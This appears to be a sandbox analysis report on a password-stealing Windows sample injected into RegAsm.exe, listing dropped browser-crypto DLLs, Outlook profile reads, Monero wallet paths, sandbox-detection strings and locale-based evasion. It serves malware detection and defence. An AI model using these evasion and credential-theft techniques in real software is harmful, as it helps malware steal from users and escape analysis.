Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: freebl3.pdb source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr
Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2881081454.000000006C5AD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.4.dr
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 00000004.00000002.4605842828.000000002062D000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.4.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2883390565.000000006C76F000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: softokn3.pdb@ source: RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.4.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000004.00000002.4618809928.00000000383EE000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.4.dr, vcruntime140[1].dll.11.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000004.00000002.4612781368.000000002C50D000.00000004.00000020.00020000.00000000.sdmp, msvcp140[1].dll.11.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000004.00000002.4621228155.000000003E355000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2883390565.000000006C76F000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4598383557.000000001A15A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000004.00000002.4609577368.0000000026594000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2881081454.000000006C5AD000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.4.dr
Source:	Binary string: softokn3.pdb source: RegAsm.exe, 00000004.00000002.4615748251.0000000032472000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.4.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_004079B4 LoadLibraryA,GetProcAddress,

4_2_004079B4

Source: KECGHIJDGC.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x52015
Source: nss3[1].dll.11.dr	Static PE information: real checksum: 0x202d6c should be: 0x638e
Source: userCGCFCBAKKF.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x5feec
Source: mozglue[1].dll.11.dr	Static PE information: real checksum: 0x9aa6a should be: 0xd5e7
Source: vnfdamfs[1].exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x4966e
Source: shbwdh[1].exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x3984b
Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Static PE information: real checksum: 0x0 should be: 0x49def
Source: DGHIDAFCGI.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x3984b

Source: freebl3.dll.4.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.4.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.4.dr	Static PE information: section name: .didat
Source: softokn3.dll.4.dr	Static PE information: section name: .00cfg
Source: nss3.dll.4.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.11.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.11.dr	Static PE information: section name: .00cfg
Source: msvcp140[1].dll.11.dr	Static PE information: section name: .didat
Source: nss3[1].dll.11.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.11.dr	Static PE information: section name: .00cfg

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB10C8 push ecx; ret	4_2_200B3552
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEB1BF9 push ecx; ret	4_2_20054C03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0041A9F5 push ecx; ret	11_2_0041AA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C56B536 push ecx; ret	11_2_6C56B549

Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Static PE information: section name: .text entropy: 7.993688906585277
Source: DGHIDAFCGI.exe.4.dr	Static PE information: section name: .text entropy: 7.988872479941879
Source: shbwdh[1].exe.4.dr	Static PE information: section name: .text entropy: 7.988872479941879
Source: KECGHIJDGC.exe.4.dr	Static PE information: section name: .text entropy: 7.993395378646068
Source: vnfdamfs[1].exe.4.dr	Static PE information: section name: .text entropy: 7.993395378646068
Source: userCGCFCBAKKF.exe.11.dr	Static PE information: section name: .text entropy: 7.996184807328442

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\KECGHIJDGC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userCGCFCBAKKF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66e40b2e8a52e_lfsdj[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DGHIDAFCGI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\shbwdh[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userAAAAKJKJEB.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vnfdamfs[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\KECGHIJDGC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DGHIDAFCGI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_004195E0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userCGCFCBAKKF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userCGCFCBAKKF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userCGCFCBAKKF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userCGCFCBAKKF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userCGCFCBAKKF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userCGCFCBAKKF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userCGCFCBAKKF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userCGCFCBAKKF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userCGCFCBAKKF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userCGCFCBAKKF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAAAAKJKJEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAAAAKJKJEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAAAAKJKJEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAAAAKJKJEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAAAAKJKJEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAAAAKJKJEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAAAAKJKJEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAAAAKJKJEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAAAAKJKJEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAAAAKJKJEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAAAAKJKJEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAAAAKJKJEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAAAAKJKJEB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userAAAAKJKJEB.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 23.2.userAAAAKJKJEB.exe.3fe5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe.3c75570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe.3c75570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.2856072022.000000000401E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2131229108.0000000003C75000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.4586314572.0000000000439000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe PID: 3652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 420, type: MEMORYSTR

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegAsm.exe	Binary or memory string: DIR_WATCH.DLL
Source: RegAsm.exe, 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL16:28:0416:28:0416:28:0416:28:0416:28:0416:28:04DELAYS.TMP%S%SNTDLL.DLL
Source: RegAsm.exe, 0000001A.00000002.4586314572.0000000000439000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL16:28:0516:28:0516:28:0516:28:0516:28:0516:28:05DELAYS.TMP%S%SNTDLL.DLL
Source: RegAsm.exe	Binary or memory string: SBIEDLL.DLL
Source: RegAsm.exe	Binary or memory string: API_LOG.DLL

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Memory allocated: 2A00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Memory allocated: 2C70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Memory allocated: 2A00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Memory allocated: 15C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Memory allocated: 3290000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Memory allocated: 5290000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Memory allocated: 1440000 memory reserve \| memory write watch
Source: C:\Users\userCGCFCBAKKF.exe	Memory allocated: 3070000 memory reserve \| memory write watch
Source: C:\Users\userCGCFCBAKKF.exe	Memory allocated: 2E80000 memory reserve \| memory write watch
Source: C:\Users\userAAAAKJKJEB.exe	Memory allocated: 1510000 memory reserve \| memory write watch
Source: C:\Users\userAAAAKJKJEB.exe	Memory allocated: 2FE0000 memory reserve \| memory write watch
Source: C:\Users\userAAAAKJKJEB.exe	Memory allocated: 4FE0000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

4_2_004017FD

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\userAAAAKJKJEB.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 8663			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 483			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\KECGHIJDGC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 6.7 %

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe TID: 5376	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe TID: 5396	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe TID: 3248	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2876	Thread sleep time: -30000s >= -30000s
Source: C:\Users\userAAAAKJKJEB.exe TID: 1016	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00410C93 GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410DA6h

4_2_00410C93

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040D47E FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_0040D47E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0041482C wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,lstrcat,strtok_s,strtok_s,lstrcat,strtok_s,PathMatchSpecA,strtok_s,strtok_s,FindNextFileA,FindClose,	4_2_0041482C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040B497 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	4_2_0040B497
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00401D70 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	4_2_00401D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040BE05 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	4_2_0040BE05
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_00415B0D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	4_2_00415B0D
